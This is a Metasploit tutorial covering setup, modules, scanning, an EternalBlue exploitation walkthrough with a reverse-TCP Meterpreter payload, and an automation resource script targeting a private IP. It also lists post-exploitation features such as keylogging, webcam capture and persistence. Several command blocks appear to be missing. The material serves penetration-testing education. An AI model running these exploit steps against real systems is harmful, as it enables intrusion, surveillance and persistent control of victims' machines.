Metasploit
๐ง What is Metasploit?¶
Metasploit Framework (MSF) is an open-source penetration testing platform developed by Rapid7. It allows security researchers, ethical hackers, and red teamers to:
-
Find & validate vulnerabilities
-
Develop and test exploits
-
Deliver custom payloads
-
Conduct post-exploitation (privilege escalation, persistence)
๐ง 1. Installation¶
๐ฆ Kali Linux (Pre-installed)¶
๐ง Debian/Ubuntu¶
๐ณ Docker¶
docker pull metasploitframework/metasploit-framework
docker run -it metasploitframework/metasploit-framework
๐ฅ๏ธ 2. Launch Metasploit¶
Youโll get the Metasploit banner and msf6 > prompt.
๐ 3. Metasploit Anatomy¶
| Component | Description |
|---|---|
| Modules | Reusable scripts: exploits, payloads, scanners |
| Payloads | Code executed on the victim system |
| Encoders | Obfuscate payloads to bypass AV |
| Nops | Used for buffer overflow padding |
| Listeners | Wait for reverse shell/callback connections |
| Meterpreter | Powerful post-exploitation shell |
๐งช 4. Scanning & Discovery¶
๐ Port Scanning with Auxiliary Module¶
๐งญ Service Discovery (Banner Grabbing)¶
Or scan with Nmap:
๐ฏ 5. Exploiting a Vulnerability¶
Step-by-step Example: Windows SMB (EternalBlue)¶
๐งฌ Step 1: Find Exploit¶
๐งฌ Step 2: Use the Module¶
๐งฌ Step 3: Set Options¶
set RHOSTS 192.168.1.105
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.101 # Your attacking machine
set LPORT 4444
๐งฌ Step 4: Exploit¶
If successful, you'll get a Meterpreter session.
๐งฐ 6. Post-Exploitation with Meterpreter¶
๐ Get System Info¶
๐งโโ๏ธ List Users¶
๐๏ธ Browse Files¶
๐งช Record Keystrokes¶
๐ท Webcam¶
๐ฅ Persistence¶
๐ก 7. Creating and Embedding Payloads¶
๐ Create Payload with msfvenom¶
๐ฆ Common Payload Formats¶
| Format | Output Type |
|---|---|
exe |
Windows executable |
elf |
Linux binary |
apk |
Android payload |
asp/php/jsp |
Web shells |
๐น 8. Exploit Categories¶
| Category | Sample Modules |
|---|---|
| Web | exploit/unix/webapp/phpmyadmin |
| Windows SMB | exploit/windows/smb/ms17_010_eternalblue |
| FTP | exploit/unix/ftp/proftpd_modcopy_exec |
| Apache Struts | exploit/multi/http/struts2_content_type_ognl |
| Android | exploit/multi/handler with android/meterpreter |
๐๏ธ 9. Automated Exploitation¶
A. Autopwn (deprecated but available via community tools)¶
B. Metasploit Pro (Commercial)¶
C. Manual Automation (for scripting)¶
Sample exploit.rc:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set LHOST 192.168.1.101
set PAYLOAD windows/meterpreter/reverse_tcp
run
Run with:
๐งช 10. Labs & Practice Targets¶
Metasploitable 2 (Best for beginners)¶
DVWA (Web Vulnerabilities)¶
OWASP Juice Shop¶
๐ 11. Safety and Legal Warning¶
๐จ Use Metasploit ONLY on systems you own or have explicit permission to test. Unauthorized use is ILLEGAL.